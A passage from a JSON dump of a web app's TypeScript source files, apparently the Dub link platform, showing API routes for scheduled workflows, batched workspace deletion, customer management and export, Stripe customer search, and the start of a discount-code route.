user.projects?.[0]?.project,\n              hasDubPartners: getPlanCapabilities(\n                user.projects?.[0]?.project?.plan || \"free\",\n              ).canManageProgram,\n              program: user.projects?.[0]?.project?.programs?.[0],\n              unsubscribeUrl,\n            }),\n        variant: \"marketing\",\n      }),\n    ]);\n\n    return new Response(\"Welcome email sent and user subscribed.\", {\n      status: 200,\n    });\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/workflows/[workflowId]/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { executeSendCampaignWorkflow } from \"@/lib/api/workflows/execute-send-campaign-workflow\";\nimport { parseWorkflowConfig } from \"@/lib/api/workflows/parse-workflow-config\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { WORKFLOW_ACTION_TYPES } from \"@/lib/zod/schemas/workflows\";\nimport { prisma } from \"@dub/prisma\";\nimport { log } from \"@dub/utils\";\nimport { logAndRespond } from \"../../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\n// POST /api/cron/workflows/[workflowId] - Execute a scheduled workflow\nexport async function POST(\n  req: Request,\n  { params }: { params: Promise<{ workflowId: string }> },\n) {\n  const { workflowId } = await params;\n\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    const workflow = await prisma.workflow.findUnique({\n      where: {\n        id: workflowId,\n      },\n    });\n\n    if (!workflow) {\n      return logAndRespond(`Workflow ${workflowId} not found. Skipping...`);\n    }\n\n    if (workflow.disabledAt) {\n      return logAndRespond(`Workflow ${workflowId} is disabled. Skipping...`);\n    }\n\n    const workflowConfig = parseWorkflowConfig(workflow);\n\n    if (workflowConfig.action.type === WORKFLOW_ACTION_TYPES.SendCampaign) {\n      await executeSendCampaignWorkflow({\n        workflow,\n      });\n    }\n\n    return logAndRespond(`Finished executing workflow ${workflowId}.`);\n  } catch (error) {\n    await log({\n      message: \"Workflows dispatch cron failed. Error: \" + error.message,\n      type: \"errors\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/workspaces/delete/delete-workspace-customers.ts",
    "content": "import { isStored, storage } from \"@/lib/storage\";\nimport { prisma } from \"@dub/prisma\";\nimport { R2_URL } from \"@dub/utils\";\nimport {\n  DeleteWorkspacePayload,\n  enqueueNextWorkspaceDeleteStep,\n} from \"./utils\";\n\nconst MAX_CUSTOMERS_PER_BATCH = 100;\n\nexport async function deleteWorkspaceCustomers(\n  payload: DeleteWorkspacePayload,\n) {\n  const { workspaceId, startingAfter } = payload;\n\n  const customers = await prisma.customer.findMany({\n    where: {\n      projectId: workspaceId,\n    },\n    orderBy: {\n      id: \"asc\",\n    },\n    ...(startingAfter && {\n      skip: 1,\n      cursor: {\n        id: startingAfter,\n      },\n    }),\n    take: MAX_CUSTOMERS_PER_BATCH,\n  });\n\n  if (customers.length > 0) {\n    // Delete customer avatars from storage\n    await Promise.allSettled(\n      customers.map(async (customer) => {\n        if (customer.avatar && isStored(customer.avatar)) {\n          await storage.delete({\n            key: customer.avatar.replace(`${R2_URL}/`, \"\"),\n          });\n        }\n      }),\n    );\n\n    const deletedCustomers = await prisma.customer.deleteMany({\n      where: {\n        id: {\n          in: customers.map(({ id }) => id),\n        },\n      },\n    });\n\n    console.log(\n      `Deleted ${deletedCustomers.count} customers for workspace ${workspaceId}.`,\n    );\n  }\n\n  return await enqueueNextWorkspaceDeleteStep({\n    payload,\n    currentStep: \"delete-customers\",\n    nextStep: \"delete-workspace\",\n    items: customers,\n    maxBatchSize: MAX_CUSTOMERS_PER_BATCH,\n  });\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/workspaces/delete/delete-workspace-domains.ts",
    "content": "import { removeDomainFromVercel } from \"@/lib/api/domains/remove-domain-vercel\";\nimport { prisma } from \"@dub/prisma\";\nimport {\n  DeleteWorkspacePayload,\n  enqueueNextWorkspaceDeleteStep,\n} from \"./utils\";\n\nconst MAX_DOMAINS_PER_BATCH = 10;\n\nexport async function deleteWorkspaceDomains(payload: DeleteWorkspacePayload) {\n  const { workspaceId, startingAfter } = payload;\n\n  const domains = await prisma.domain.findMany({\n    where: {\n      projectId: workspaceId,\n    },\n    orderBy: {\n      id: \"asc\",\n    },\n    ...(startingAfter && {\n      skip: 1,\n      cursor: {\n        id: startingAfter,\n      },\n    }),\n    take: MAX_DOMAINS_PER_BATCH,\n  });\n\n  // Delete registered domains\n  const deletedRegisteredDomains = await prisma.registeredDomain.deleteMany({\n    where: {\n      projectId: workspaceId,\n    },\n  });\n\n  if (deletedRegisteredDomains.count > 0) {\n    console.log(\n      `Deleted ${deletedRegisteredDomains.count} registered domains for workspace ${workspaceId}.`,\n    );\n  }\n\n  // Delete other domains\n  if (domains.length > 0) {\n    const deletedDomains = await prisma.domain.deleteMany({\n      where: {\n        id: {\n          in: domains.map(({ id }) => id),\n        },\n      },\n    });\n\n    console.log(\n      `Deleted ${deletedDomains.count} domains for workspace ${workspaceId}.`,\n    );\n\n    await Promise.allSettled(\n      domains.map(({ slug }) => removeDomainFromVercel(slug)),\n    );\n  }\n\n  return await enqueueNextWorkspaceDeleteStep({\n    payload,\n    currentStep: \"delete-domains\",\n    nextStep: \"delete-folders\",\n    items: domains,\n    maxBatchSize: MAX_DOMAINS_PER_BATCH,\n  });\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/workspaces/delete/delete-workspace-folders.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport {\n  DeleteWorkspacePayload,\n  enqueueNextWorkspaceDeleteStep,\n} from \"./utils\";\n\nconst MAX_FOLDERS_PER_BATCH = 100;\n\nexport async function deleteWorkspaceFolders(payload: DeleteWorkspacePayload) {\n  const { workspaceId, startingAfter } = payload;\n\n  const folders = await prisma.folder.findMany({\n    where: {\n      projectId: workspaceId,\n    },\n    orderBy: {\n      id: \"asc\",\n    },\n    ...(startingAfter && {\n      skip: 1,\n      cursor: {\n        id: startingAfter,\n      },\n    }),\n    take: MAX_FOLDERS_PER_BATCH,\n  });\n\n  if (folders.length > 0) {\n    const deletedFolders = await prisma.folder.deleteMany({\n      where: {\n        id: {\n          in: folders.map(({ id }) => id),\n        },\n      },\n    });\n\n    console.log(\n      `Deleted ${deletedFolders.count} folders for workspace ${workspaceId}.`,\n    );\n  }\n\n  return await enqueueNextWorkspaceDeleteStep({\n    payload,\n    currentStep: \"delete-folders\",\n    nextStep: \"delete-customers\",\n    items: folders,\n    maxBatchSize: MAX_FOLDERS_PER_BATCH,\n  });\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/workspaces/delete/delete-workspace-links.ts",
    "content": "import { bulkDeleteLinks } from \"@/lib/api/links/bulk-delete-links\";\nimport { prisma } from \"@dub/prisma\";\nimport {\n  DeleteWorkspacePayload,\n  enqueueNextWorkspaceDeleteStep,\n} from \"./utils\";\n\nconst MAX_LINKS_PER_BATCH = 100;\n\nexport async function deleteWorkspaceLinks(payload: DeleteWorkspacePayload) {\n  const { workspaceId, startingAfter } = payload;\n\n  const links = await prisma.link.findMany({\n    where: {\n      projectId: workspaceId,\n    },\n    orderBy: {\n      id: \"asc\",\n    },\n    ...(startingAfter && {\n      skip: 1,\n      cursor: {\n        id: startingAfter,\n      },\n    }),\n    take: MAX_LINKS_PER_BATCH,\n  });\n\n  if (links.length > 0) {\n    const deletedLinks = await prisma.link.deleteMany({\n      where: {\n        id: {\n          in: links.map(({ id }) => id),\n        },\n      },\n    });\n\n    console.log(\n      `Deleted ${deletedLinks.count} links for workspace ${workspaceId}.`,\n    );\n\n    await bulkDeleteLinks(links);\n  }\n\n  return await enqueueNextWorkspaceDeleteStep({\n    payload,\n    currentStep: \"delete-links\",\n    nextStep: \"delete-domains\",\n    items: links,\n    maxBatchSize: MAX_LINKS_PER_BATCH,\n  });\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/workspaces/delete/delete-workspace.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { logAndRespond } from \"../../utils\";\nimport { DeleteWorkspacePayload } from \"./utils\";\n\nexport async function deleteWorkspace(payload: DeleteWorkspacePayload) {\n  const { workspaceId } = payload;\n\n  const workspace = await prisma.project.findUnique({\n    where: {\n      id: workspaceId,\n    },\n    select: {\n      id: true,\n    },\n  });\n\n  if (!workspace) {\n    return logAndRespond(`Workspace ${workspaceId} not found. Skipping...`);\n  }\n\n  await prisma.project.delete({\n    where: {\n      id: workspaceId,\n    },\n  });\n\n  return logAndRespond(`Workspace ${workspaceId} deleted successfully.`);\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/workspaces/delete/route.ts",
    "content": "import { withCron } from \"@/lib/cron/with-cron\";\nimport { logAndRespond } from \"../../utils\";\nimport { deleteWorkspace } from \"./delete-workspace\";\nimport { deleteWorkspaceCustomers } from \"./delete-workspace-customers\";\nimport { deleteWorkspaceDomains } from \"./delete-workspace-domains\";\nimport { deleteWorkspaceFolders } from \"./delete-workspace-folders\";\nimport { deleteWorkspaceLinks } from \"./delete-workspace-links\";\nimport { deleteWorkspaceSchema } from \"./utils\";\n\nexport const dynamic = \"force-dynamic\";\n\n// POST /api/cron/workspaces/delete\nexport const POST = withCron(async ({ rawBody }) => {\n  const payload = deleteWorkspaceSchema.parse(JSON.parse(rawBody));\n\n  switch (payload.step) {\n    case \"delete-links\":\n      return await deleteWorkspaceLinks(payload);\n    case \"delete-domains\":\n      return await deleteWorkspaceDomains(payload);\n    case \"delete-folders\":\n      return await deleteWorkspaceFolders(payload);\n    case \"delete-customers\":\n      return await deleteWorkspaceCustomers(payload);\n    case \"delete-workspace\":\n      return await deleteWorkspace(payload);\n    default:\n      return logAndRespond(`Unknown step ${payload.step}`);\n  }\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/workspaces/delete/utils.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\n\nexport const deleteWorkspaceSchema = z.object({\n  workspaceId: z.string(),\n  step: z\n    .enum([\n      \"delete-links\",\n      \"delete-domains\",\n      \"delete-folders\",\n      \"delete-customers\",\n      \"delete-workspace\",\n    ])\n    .optional()\n    .default(\"delete-links\"),\n  startingAfter: z.string().optional(),\n});\n\nexport type DeleteWorkspacePayload = z.infer<typeof deleteWorkspaceSchema>;\n\nexport async function enqueueNextWorkspaceDeleteStep({\n  payload,\n  currentStep,\n  nextStep,\n  items,\n  maxBatchSize,\n}: {\n  payload: DeleteWorkspacePayload;\n  currentStep: DeleteWorkspacePayload[\"step\"];\n  nextStep: DeleteWorkspacePayload[\"step\"];\n  items: { id: string }[];\n  maxBatchSize: number;\n}) {\n  const hasMore = items.length === maxBatchSize;\n\n  const { messageId } = await qstash.publishJSON({\n    url: `${APP_DOMAIN_WITH_NGROK}/api/cron/workspaces/delete`,\n    body: {\n      ...payload,\n      startingAfter: hasMore ? items[items.length - 1].id : undefined,\n      step: hasMore ? currentStep : nextStep,\n    },\n  });\n\n  return logAndRespond(\n    hasMore\n      ? `Enqueued next batch for step \"${currentStep}\" (messageId: ${messageId})`\n      : `Completed step \"${currentStep}\", moving to \"${nextStep}\" (messageId: ${messageId})`,\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/customers/[id]/activity/route.ts",
    "content": "import { getCustomerEvents } from \"@/lib/analytics/get-customer-events\";\nimport { getCustomerOrThrow } from \"@/lib/api/customers/get-customer-or-throw\";\nimport { decodeLinkIfCaseSensitive } from \"@/lib/api/links/case-sensitivity\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { customerActivityResponseSchema } from \"@/lib/zod/schemas/customer-activity\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/customers/[id]/activity - get a customer's activity\nexport const GET = withWorkspace(async ({ workspace, params }) => {\n  const { id: customerId } = params;\n\n  const customer = await getCustomerOrThrow({\n    workspaceId: workspace.id,\n    id: customerId,\n  });\n\n  const events = await getCustomerEvents({\n    customerId: customer.id,\n  });\n\n  // get the first partner link that this customer interacted with\n  const firstLinkId =\n    events.length > 0 ? events[events.length - 1].link_id : customer.linkId;\n\n  let link: {\n    id: string;\n    domain: string;\n    key: string;\n    shortLink: string;\n  } | null = null;\n\n  if (firstLinkId) {\n    link = await prisma.link.findUniqueOrThrow({\n      where: {\n        id: firstLinkId,\n      },\n      select: {\n        id: true,\n        domain: true,\n        key: true,\n        shortLink: true,\n      },\n    });\n\n    link = decodeLinkIfCaseSensitive(link);\n  }\n\n  return NextResponse.json(\n    customerActivityResponseSchema.parse({\n      ...customer,\n      events,\n      link,\n    }),\n  );\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/customers/[id]/route.ts",
    "content": "import { getCustomerOrThrow } from \"@/lib/api/customers/get-customer-or-throw\";\nimport { transformCustomer } from \"@/lib/api/customers/transform-customer\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { isStored, storage } from \"@/lib/storage\";\nimport {\n  CustomerEnrichedSchema,\n  CustomerSchema,\n  getCustomersQuerySchema,\n  updateCustomerBodySchema,\n} from \"@/lib/zod/schemas/customers\";\nimport { prisma } from \"@dub/prisma\";\nimport { nanoid, R2_URL } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/customers/:id – Get a customer by ID\nexport const GET = withWorkspace(\n  async ({ workspace, params, searchParams }) => {\n    const { id } = params;\n    const { includeExpandedFields } =\n      getCustomersQuerySchema.parse(searchParams);\n\n    const customer = await getCustomerOrThrow(\n      {\n        id,\n        workspaceId: workspace.id,\n      },\n      {\n        includeExpandedFields,\n      },\n    );\n\n    const responseSchema = includeExpandedFields\n      ? CustomerEnrichedSchema\n      : CustomerSchema;\n\n    return NextResponse.json(responseSchema.parse(transformCustomer(customer)));\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n\n// PATCH /api/customers/:id – Update a customer by ID\nexport const PATCH = withWorkspace(\n  async ({ workspace, params, req, searchParams }) => {\n    const { id } = params;\n    const { includeExpandedFields } =\n      getCustomersQuerySchema.parse(searchParams);\n\n    const { name, email, avatar, externalId, stripeCustomerId } =\n      updateCustomerBodySchema.parse(await parseRequestBody(req));\n\n    const customer = await getCustomerOrThrow(\n      {\n        id,\n        workspaceId: workspace.id,\n      },\n      {\n        includeExpandedFields,\n      },\n    );\n\n    const oldCustomerAvatar = customer.avatar;\n\n    // we need to persist the customer avatar to R2 if:\n    // 1. it's different from the old avatar\n    // 2. it's not stored in R2 already\n    const finalCustomerAvatar =\n      avatar && avatar !== oldCustomerAvatar && !isStored(avatar)\n        ? `${R2_URL}/customers/${customer.id}/avatar_${nanoid(7)}`\n        : avatar;\n\n    try {\n      const updatedCustomer = await prisma.customer.update({\n        where: {\n          id: customer.id,\n        },\n        data: {\n          name,\n          email,\n          avatar: finalCustomerAvatar,\n          externalId,\n          stripeCustomerId,\n        },\n      });\n\n      if (avatar && !isStored(avatar) && finalCustomerAvatar) {\n        waitUntil(\n          storage\n            .upload({\n              key: finalCustomerAvatar.replace(`${R2_URL}/`, \"\"),\n              body: avatar,\n              opts: {\n                width: 128,\n                height: 128,\n              },\n            })\n            .then(() => {\n              if (oldCustomerAvatar && isStored(oldCustomerAvatar)) {\n                storage.delete({\n                  key: oldCustomerAvatar.replace(`${R2_URL}/`, \"\"),\n                });\n              }\n            })\n            .catch(async (error) => {\n              console.error(\"Error persisting customer avatar to R2\", error);\n              // if the avatar fails to upload to R2, set the avatar to null in the database\n              await prisma.customer.update({\n                where: { id: customer.id },\n                data: { avatar: null },\n              });\n            }),\n        );\n      }\n\n      const responseSchema = includeExpandedFields\n        ? CustomerEnrichedSchema\n        : CustomerSchema;\n\n      return NextResponse.json(\n        responseSchema.parse(\n          transformCustomer({\n            ...customer,\n            ...updatedCustomer,\n          }),\n        ),\n      );\n    } catch (error) {\n      if (error.code === \"P2002\") {\n        throw new DubApiError({\n          code: \"conflict\",\n          message: \"A customer with this external ID already exists.\",\n        });\n      }\n\n      throw new DubApiError({\n        code: \"unprocessable_entity\",\n        message: error.message,\n      });\n    }\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n    requiredRoles: [\"owner\", \"member\"],\n  },\n);\n\n// DELETE /api/customers/:id – Delete a customer by ID\nexport const DELETE = withWorkspace(\n  async ({ workspace, params }) => {\n    const { id } = params;\n\n    const customer = await getCustomerOrThrow({\n      id,\n      workspaceId: workspace.id,\n    });\n\n    await prisma.customer.delete({\n      where: {\n        id: customer.id,\n      },\n    });\n\n    if (customer.avatar && isStored(customer.avatar)) {\n      storage.delete({ key: customer.avatar.replace(`${R2_URL}/`, \"\") });\n    }\n\n    return NextResponse.json({\n      id: customer.id,\n    });\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n    requiredRoles: [\"owner\", \"member\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/customers/[id]/stripe-invoices/route.ts",
    "content": "import { getCustomerOrThrow } from \"@/lib/api/customers/get-customer-or-throw\";\nimport { getCustomerStripeInvoices } from \"@/lib/api/customers/get-customer-stripe-invoices\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { NextResponse } from \"next/server\";\n\nexport const GET = withWorkspace(async ({ workspace, params }) => {\n  const { id: customerId } = params;\n\n  if (!workspace.stripeConnectId) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message:\n        \"Your workspace isn't connected to Stripe yet. Please install the Stripe integration under /settings/integrations/stripe to proceed.\",\n    });\n  }\n\n  const customer = await getCustomerOrThrow({\n    workspaceId: workspace.id,\n    id: customerId,\n  });\n\n  if (!customer.stripeCustomerId) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message:\n        \"Customer doesn't have a Stripe customer ID. Please add a Stripe customer ID to the customer before proceeding.\",\n    });\n  }\n\n  const stripeCustomerInvoices = await getCustomerStripeInvoices({\n    stripeCustomerId: customer.stripeCustomerId,\n    stripeConnectId: workspace.stripeConnectId,\n    programId: getDefaultProgramIdOrThrow(workspace),\n  });\n\n  return NextResponse.json(stripeCustomerInvoices);\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/customers/count/route.ts",
    "content": "import { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { buildCustomerCountWhere } from \"@/lib/customers/api/customer-count-where\";\nimport { getCustomersCountQuerySchema } from \"@/lib/zod/schemas/customers\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/customers/count\nexport const GET = withWorkspace(async ({ workspace, searchParams }) => {\n  const parsedFilters = getCustomersCountQuerySchema.parse(searchParams);\n\n  let { programId, partnerId, groupBy } = parsedFilters;\n\n  if (programId || partnerId) {\n    programId = getDefaultProgramIdOrThrow(workspace);\n  }\n\n  const commonWhere = buildCustomerCountWhere({\n    ...parsedFilters,\n    workspaceId: workspace.id,\n    programId,\n  });\n\n  // Get customer count by country\n  if (groupBy === \"country\") {\n    const data = await prisma.customer.groupBy({\n      by: [\"country\"],\n      where: commonWhere,\n      _count: true,\n      orderBy: {\n        _count: {\n          country: \"desc\",\n        },\n      },\n    });\n\n    return NextResponse.json(data);\n  }\n\n  // Get customer count by linkId\n  if (groupBy === \"linkId\") {\n    const data = await prisma.customer.groupBy({\n      by: [\"linkId\"],\n      where: { ...commonWhere, linkId: { not: null } },\n      _count: true,\n      orderBy: {\n        _count: {\n          linkId: \"desc\",\n        },\n      },\n      take: 10000,\n    });\n\n    const links = await prisma.link.findMany({\n      where: {\n        id: { in: data.map(({ linkId }) => linkId!) },\n      },\n      select: {\n        id: true,\n        shortLink: true,\n        url: true,\n      },\n    });\n\n    const enrichedData = data\n      .map((d) => {\n        const link = links.find(({ id }) => id === d.linkId);\n        if (!link) return null;\n        return {\n          ...d,\n          shortLink: link?.shortLink,\n          url: link?.url,\n        };\n      })\n      .filter(Boolean);\n\n    return NextResponse.json(enrichedData);\n  }\n\n  const count = await prisma.customer.count({\n    where: commonWhere,\n  });\n\n  return NextResponse.json(count);\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/customers/export/route.ts",
    "content": "import { convertToCSV } from \"@/lib/analytics/utils\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { qstash } from \"@/lib/cron\";\nimport { buildCustomerCountWhere } from \"@/lib/customers/api/customer-count-where\";\nimport { formatCustomersForExport } from \"@/lib/customers/api/format-customers-export\";\nimport { getCustomers } from \"@/lib/customers/api/get-customers\";\nimport { customersExportQuerySchema } from \"@/lib/zod/schemas/customers\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\nconst MAX_CUSTOMERS_TO_EXPORT = 1000;\n\n// GET /api/customers/export – export customers to CSV\nexport const GET = withWorkspace(\n  async ({ searchParams, workspace, session }) => {\n    const filters = customersExportQuerySchema.parse(searchParams);\n\n    let { programId, partnerId, columns } = filters;\n\n    if (programId || partnerId) {\n      programId = getDefaultProgramIdOrThrow(workspace);\n    }\n\n    const where = buildCustomerCountWhere({\n      ...filters,\n      workspaceId: workspace.id,\n      programId,\n    });\n\n    const count = await prisma.customer.count({\n      where,\n    });\n\n    if (count > MAX_CUSTOMERS_TO_EXPORT) {\n      await qstash.publishJSON({\n        url: `${APP_DOMAIN_WITH_NGROK}/api/cron/export/customers`,\n        body: {\n          ...filters,\n          workspaceId: workspace.id,\n          programId,\n          userId: session.user.id,\n          columns: columns.join(\",\"),\n        },\n      });\n\n      return NextResponse.json({}, { status: 202 });\n    }\n\n    const customers = await getCustomers({\n      ...filters,\n      workspaceId: workspace.id,\n      programId,\n      page: 1,\n      pageSize: MAX_CUSTOMERS_TO_EXPORT,\n      includeExpandedFields: true,\n    });\n\n    const rows = formatCustomersForExport(customers, columns);\n\n    return new Response(convertToCSV(rows), {\n      headers: {\n        \"Content-Type\": \"text/csv\",\n        \"Content-Disposition\": \"attachment\",\n      },\n    });\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/customers/route.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { transformCustomer } from \"@/lib/api/customers/transform-customer\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { getCustomers } from \"@/lib/customers/api/get-customers\";\nimport { generateRandomName } from \"@/lib/names\";\nimport { isStored, storage } from \"@/lib/storage\";\nimport {\n  createCustomerBodySchema,\n  CustomerEnrichedSchema,\n  CustomerSchema,\n  getCustomersQuerySchemaExtended,\n} from \"@/lib/zod/schemas/customers\";\nimport { DiscountSchemaWithDeprecatedFields } from \"@/lib/zod/schemas/discount\";\nimport { prisma } from \"@dub/prisma\";\nimport { nanoid, R2_URL } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/customers – Get all customers\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    const filters = getCustomersQuerySchemaExtended.parse(searchParams);\n\n    let { programId, partnerId, includeExpandedFields } = filters;\n\n    if (programId || partnerId) {\n      programId = getDefaultProgramIdOrThrow(workspace);\n    }\n\n    const customers = await getCustomers({\n      ...filters,\n      workspaceId: workspace.id,\n      programId,\n    });\n\n    const responseSchema = includeExpandedFields\n      ? CustomerEnrichedSchema.extend({\n          discount: DiscountSchemaWithDeprecatedFields,\n        })\n      : CustomerSchema;\n\n    const response = responseSchema\n      .array()\n      .parse(customers.map(transformCustomer));\n\n    return NextResponse.json(response);\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n\n// POST /api/customers – Create a customer\nexport const POST = withWorkspace(\n  async ({ req, workspace }) => {\n    const { email, name, avatar, externalId, stripeCustomerId, country } =\n      createCustomerBodySchema.parse(await parseRequestBody(req));\n\n    const customerId = createId({ prefix: \"cus_\" });\n    const finalCustomerName = name || email || generateRandomName();\n    const finalCustomerAvatar =\n      avatar && !isStored(avatar)\n        ? `${R2_URL}/customers/${customerId}/avatar_${nanoid(7)}`\n        : avatar;\n\n    try {\n      const customer = await prisma.customer.create({\n        data: {\n          id: customerId,\n          name: finalCustomerName,\n          email,\n          avatar: finalCustomerAvatar,\n          externalId,\n          stripeCustomerId,\n          country,\n          projectId: workspace.id,\n          projectConnectId: workspace.stripeConnectId,\n        },\n      });\n\n      if (avatar && !isStored(avatar) && finalCustomerAvatar) {\n        waitUntil(\n          storage\n            .upload({\n              key: finalCustomerAvatar.replace(`${R2_URL}/`, \"\"),\n              body: avatar,\n              opts: {\n                width: 128,\n                height: 128,\n              },\n            })\n            .catch(async (error) => {\n              console.error(\"Error persisting customer avatar to R2\", error);\n              // if the avatar fails to upload to R2, set the avatar to null in the database\n              await prisma.customer.update({\n                where: {\n                  id: customer.id,\n                },\n                data: {\n                  avatar: null,\n                },\n              });\n            }),\n        );\n      }\n\n      return NextResponse.json(\n        CustomerSchema.parse(transformCustomer(customer)),\n        {\n          status: 201,\n        },\n      );\n    } catch (error) {\n      if (error.code === \"P2002\") {\n        throw new DubApiError({\n          code: \"conflict\",\n          message: \"A customer with this external ID already exists.\",\n        });\n      }\n\n      throw new DubApiError({\n        code: \"unprocessable_entity\",\n        message: error.message,\n      });\n    }\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n    requiredRoles: [\"owner\", \"member\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/customers/search-stripe/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { stripeAppClient } from \"@/lib/stripe\";\nimport { StripeCustomerSchema } from \"@/lib/zod/schemas/customers\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nconst stripe = stripeAppClient({\n  ...(process.env.VERCEL_ENV && { mode: \"live\" }),\n});\n\nexport const GET = withWorkspace(async ({ workspace, searchParams }) => {\n  const { search } = z\n    .object({\n      search: z.string(),\n    })\n    .parse(searchParams);\n\n  if (!workspace.stripeConnectId) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message:\n        \"Your workspace isn't connected to Stripe yet. Please install the Stripe integration under /settings/integrations/stripe to proceed.\",\n    });\n  }\n\n  const { data } = await stripe.customers.search(\n    {\n      query: `email~\"${search}\"`,\n      limit: 100,\n      expand: [\"data.subscriptions\"],\n    },\n    {\n      stripeAccount: workspace.stripeConnectId,\n    },\n  );\n\n  const existingCustomers = await prisma.customer.findMany({\n    where: {\n      stripeCustomerId: {\n        in: data.map((customer) => customer.id),\n      },\n      projectId: workspace.id,\n    },\n    select: {\n      id: true,\n      stripeCustomerId: true,\n    },\n  });\n\n  const stripeCustomers = StripeCustomerSchema.array().parse(\n    data.map((customer) => ({\n      id: customer.id,\n      email: customer.email,\n      name: customer.name,\n      country: customer.address?.country ?? null,\n      subscriptions: customer.subscriptions?.data.length ?? 0,\n      dubCustomerId:\n        existingCustomers.find((c) => c.stripeCustomerId === customer.id)?.id ??\n        null,\n    })),\n  );\n\n  return NextResponse.json(stripeCustomers);\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/discount-codes/[discountCodeId]/route.ts",
    "content": "import { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { deleteDiscountCodes } from \"@/lib/api/discounts/delete-discount-code\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// DELETE /api/discount-codes/[discountCodeId] - soft delete a discount code\nexport const DELETE = withWorkspace(\n  async ({ workspace, params, session }) => {\n    const { discountCodeId } = params;\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const discountCode = await prisma.discountCode.findUnique({\n      where: {\n        id: discountCodeId,\n      },\n    });\n\n    if (!discountCode || !discountCode.discountId) {\n      throw new DubApiError({\n        message: `Discount code (${discountCodeId}) not found.`,\n        code: \"bad_request\",\n      });\n    }\n\n    if (discountCode.programId !== programId) {\n      throw new DubApiError({\n        message: `Discount 